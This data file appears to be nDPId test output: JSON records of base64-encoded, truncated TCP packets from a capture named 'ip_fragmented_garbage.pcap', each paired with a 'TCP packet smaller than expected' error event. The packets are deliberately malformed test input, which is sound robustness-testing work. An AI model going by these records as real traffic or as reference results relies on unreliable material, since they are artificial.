-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737981} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738000} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738013} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738026} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738037} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738055} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738067} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738120} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738129} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738136} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738144} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738152} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738159} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738166} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738214} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738231} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738244} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738259} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738271} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738280} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":3206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738292} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738304} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738316} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738330} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738342} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738354} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738367} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738379} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738390} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738402} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738414} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738426} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":3218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738440} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738452} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738465} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738478} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738490} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738502} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738513} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738527} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738539} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738552} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738563} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738620} 